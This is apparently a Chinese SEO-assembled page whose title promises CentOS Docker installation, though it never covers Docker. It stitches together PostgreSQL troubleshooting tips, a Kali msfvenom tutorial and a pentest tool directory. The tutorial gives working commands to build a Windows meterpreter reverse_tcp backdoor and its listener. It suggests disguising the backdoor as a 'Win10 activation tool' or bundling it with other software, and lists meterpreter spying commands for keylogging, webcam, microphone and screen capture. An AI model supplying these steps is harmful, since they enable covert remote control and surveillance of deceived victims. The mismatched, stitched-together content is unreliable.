metasploit for linux？centos 安装docker
各位老铁们好，相信很多人对metasploit for linux都不是特别的了解，因此呢，今天就来为大家分享下关于metasploit for linux以及centos 安装docker的问题知识，还望可以帮助大家，解决大家的一些困惑，下面一起来看看吧！
postgresql启动失败
1、看看服务里的 Postgres服务的用户名、密码，必须用 postres用户启动的。
2、鉴于重启后就启动不了，是不是服务设置手动，或者是安装了影子系统
3、会不会是安装的时候，上一次的安装没有卸载干净？
4、手动启动服务试试看，看看系统日志有没有相应内容分。
5、到 c:\program files下的安装目录（假设是windows)看看log文件夹里的日志
6、进入cmd, netstat-na，看看开了多少端口，很多病毒会强占许多端口，包括5432端口，如果5432被占用，肯定不行。netstat-navbo会查看是哪个进程
7、安装的时候，locale是不是选择了默认一路Next,卸载，用locale='C'试试看!
Kali利用msf渗透Windows电脑(超详细)
前言
最近整理了一些奇安信&华为&深信服大佬的课件资料+大厂面试课题，想要的可以私信自取，无偿赠送给粉丝朋友~
msfvenom a Metasploit standalone payload generator，Also a replacement for msfpayload and msfencode.是用来生成后门的软件。
MSFvenom是Msfpayload和Msfencode的组合，将这两个工具都放在一个Framework实例中。自2015年6月8日起，msfvenom替换了msfpayload和msfencode。
演示环境
使用Kali 2021.3进行演示操作
目标靶机： Win10专业版
软件：msfvenom、msfconsole（Kali系统内置）
1.进入管理员模式
命令： sudo su
解释：不在管理员模式下运行可能会有权限不够的提示，为了避免命令执行失败，在管理员下运行以下命令
命令： msfvenom-p windows/meterpreter/reverse_tcp LHOST=本地ip> LPORT=本地端口号>–f exe–o文件名>.exe
解释：本地ip写自己Kali的IP地址，用ifconfig就能查看自己Kali的IP地址
本地端口自己随便设置一个没有被占用的端口号，如果端口号被占用那么文件会生成失败，换一个端口号就性
文件名可以随便写自己喜欢的名字，比如写Win10激活工具，可能更容易让目标主机上钩
当然MSF也可以用来渗透手机、mac、Linux等
接下来运行命令生成文件
默认生成的文件在根目录下
把刚才生成的文件放到目标靶机Win10系统中
命令： msfconsole
(1)命令： use exploit/multi/handler（选择模块）
(2)命令： set payload windows/meterpreter/reverse_tcp（选择攻击模块）
(3)命令： set LhOST 192.168.32.1（填写自己主机的IP地址）
(4)命令： set lport 1111（填写刚才生成文件时的端口号）
(5)命令： show options（查看设置参数）
(6)命令： exploit-z-j（后台执行）
我们这里也可以把这个程序伪装一下，把他的图标改一下，或者把它捆绑在某些软件上面，当用户打开就自动安装到对方电脑上面
(1)命令： sessions（查看上钩的用户）
(2)命令： sessions-i 1（选择需要攻击的用户，这里选择第 1个
命令： run vnc-i
cmd指令:
cat读取文件内容到屏幕
cd更改目录
checksum检索文件的校验和
cp将源复制到目标
del删除指定文件
dir列出文件（ls的别名）
下载下载文件或目录
编辑编辑文件
getlwd打印本地工作目录
getwd打印工作目录
lcd更改本地工作目录
lls列出本地文件
lpwd打印本地工作目录
ls列出文件
mkdir创建目录
mv将源移动到目标
pwd打印工作目录
rm删除指定文件
rmdir删除目录
search搜索文件
show_mount列出所有挂载点/逻辑驱动器
upload上传文件或目录
pkill按名称终止进程
keyscan_start开始捕获击键（开始键盘记录）
keyscan_dump转储按键缓冲（下载键盘记录）
keyscan_stop停止捕获击键（停止键盘记录）
record_mic X秒从默认的麦克风record_mic音频记录（音频录制）
webcam_chat开始视频聊天（视频，对方会有弹窗）
webcam_list单摄像头（查看摄像头列表）
webcam_snap采取快照从指定的摄像头（摄像头拍摄一张照片）
webcam_stream播放视频流从指定的摄像头（开启摄像头监控）
enumdesktops列出所有可访问的桌面和窗口站（窗体列表）
getdesktop得到当前的Meterpreter桌面
reboot重新启动远程计算机
shutdown关闭远程计算机
shell放入系统命令 shell
enumdesktops列出所有可访问的桌面和窗口站
getdesktop获取当前的meterpreter桌面
idletime返回远程用户空闲的秒数
keyboard_send发送击键
keyevent发送按键事件
keyscan_dump转储击键缓冲区
keyscan_start开始捕获击键
keyscan_stop停止捕获击键
mouse发送鼠标事件
screenshare实时观看远程用户桌面
screenshot抓取交互式桌面的屏幕截图
setdesktop更改 Meterpreters当前桌面
uictl控制一些用户界面组件
record_mic从默认麦克风录制音频 X秒
webcam_chat开始视频聊天
webcam_list列出网络摄像头
webcam_snap从指定的网络摄像头拍摄快照
webcam_stream播放来自指定网络摄像头的视频流
play在目标系统上播放波形音频文件(.wav)
getsystem尝试将您的权限提升到本地系统的权限
execute-f notepad打开记事本
————————————————
原文链接：
渗透测试工具&导航合集
分享一套渗透测试工具与导航合集，助你高效进行网络安全测试。
首先，推荐一款信息收集利器：dirbuster。它隶属于Kali Linux套件，以其模糊测试功能闻名。
其次，gorailgun是一款自动化程度极高的工具，信息收集全流程都能轻松应对。
OneForALL是一款专业的子域名收集工具，拥有海量接口，自动去重与拓展功能，大大提升效率。
子域名挖掘机和subdomainbrute是两款强力的子域名查找工具，满负荷跑动，适用于快速扫描。
在临时邮箱方面，temp-mail.org、linshiyouxiang.net、guerrillamail.com和moakt.com、links.icamtech.com等提供服务，确保隐私与安全。
在线C段/同服(旁站)工具如rapiddns.io/sameip、webscan.cc和chapangzhan.com、phpinfo.me/bing.php等，助你快速发现同一网络中的其他服务。
漏洞库方面，cnvd.org.cn、securityfocus.com、packetstormsecurity.com、exploit-db.com、cxsecurity.com和shuimugan.com等资源丰富，是安全研究人员的宝库。
sqlmap作为老朋友，是注入攻击的经典工具。进阶玩法在于自定义脚本，实现更精准的攻击。
傀儡SQL注入工具提供多类型注入扫描方式，包括Access、Mysql、Mssql等，支持批量扫描，功能强大。
傀儡注入点批量收集工具通过高并发的GoogleHack技术，快速定位存在注入点的网址。
Firefox渗透便携版集成多款插件，如DNS Checker、FOFA Pro View、FoxyProxy、HackTools、HackBar、HTTP Header Live、Shodan和Wappalyzer，提供丰富的安全检查与识别功能。
漏扫工具包括AWVS、goby、Nessus、Netsparker和Xray，它们在不同场景下展现独特优势，是渗透测试的强力伙伴。
推荐crunch和cupp作为强大的字典生成工具，kali系统内已集成，也可根据需求自定义脚本。
更多实用工具与插件，如Nessus、awvs、burpsuit、sqlmap、nmap和metasploit的拓展插件，可根据具体需求在kali环境下进行拓展。
